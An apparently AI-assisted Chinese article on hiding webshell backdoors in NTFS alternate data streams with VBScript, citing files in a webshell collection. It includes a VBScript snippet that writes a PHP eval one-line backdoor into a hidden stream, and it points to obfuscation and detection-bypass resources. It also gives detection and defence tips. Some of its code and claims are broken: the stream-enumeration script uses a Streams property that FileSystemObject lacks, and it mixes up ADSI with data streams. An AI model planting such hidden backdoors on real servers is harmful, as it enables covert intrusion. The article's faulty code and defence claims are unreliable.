VBScript ADS后门:webshell项目中的NTFS数据流隐藏技术
技术原理与应用场景
NTFS数据流(Alternate Data Streams, ADS)是NTFS文件系统的高级特性,允许在单个文件中存储多个数据流。攻击者可利用该特性隐藏webshell后门,通过filename:streamname格式创建隐藏数据流,常规文件浏览工具无法直接检测。在webshell项目中,该技术常被用于持久化控制和绕过安全检测。相关实现可参考net-friend/asp/DarkBlade1.3--强大的asp大马/indexx.asp中的getADS()函数,其通过VBScript动态生成包含ADS相关逻辑的HTML内容。
关键代码实现分析
1. ADS数据流创建与读写
典型VBScript实现通过FileSystemObject操作ADS:
Set fso = CreateObject("Scripting.FileSystemObject")
Set file = fso.CreateTextFile("normal.txt:secret.txt")
file.WriteLine "<?php eval($_POST['pass']); ?>"
file.Close
该代码在normal.txt中创建名为secret.txt的隐藏数据流,存储PHP后门代码。项目中类似实现可参考asp/mumaasp.com.asp的VBScript.Encode加密代码,其通过编码混淆隐藏ADS操作逻辑。
2. 数据流枚举与检测绕过
通过枚举文件流可发现隐藏内容:
Set fso = CreateObject("Scripting.FileSystemObject")
Set folder = fso.GetFolder("C:\inetpub\wwwroot")
For Each file In folder.Files
For Each stream In file.Streams
If stream.Name <> ":" Then
WScript.Echo file.Path & ":" & stream.Name
End If
Next
Next
项目中asp/Cmd支持管理员登陆的webshell.asp使用ADSI接口实现IIS环境下的ADS枚举,可用于检测服务器中隐藏的数据流后门。
实战应用与防御措施
检测方法
- 命令行检测:
dir /r可列出文件的所有数据流 - 脚本检测:使用上述VBScript枚举脚本遍历网站目录
- 工具检测:项目中LandGrey/webshell-detect-bypass提供的ADS检测模块
防御策略
- 禁用NTFS数据流:通过组策略或注册表限制ADS创建
- 定期审计:使用
streams.exe等工具扫描异常数据流 - 权限控制:限制Web服务账户的文件创建权限
- WAF规则:部署检测ADS特征的Web应用防火墙规则
项目资源与进一步学习
- 官方文档:README.md
- ADS后门样本:Backdoor Dev Shells
- 免杀技术:几种实战成功过的webshell的免杀方式.md
- VBScript混淆模块:asp/vbencode-bypass.asp
通过结合NTFS数据流隐藏与VBScript脚本技术,攻击者可构建难以检测的持久化后门。防御方需加强对文件系统特性的认知,实施多层次检测与防护措施。
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考



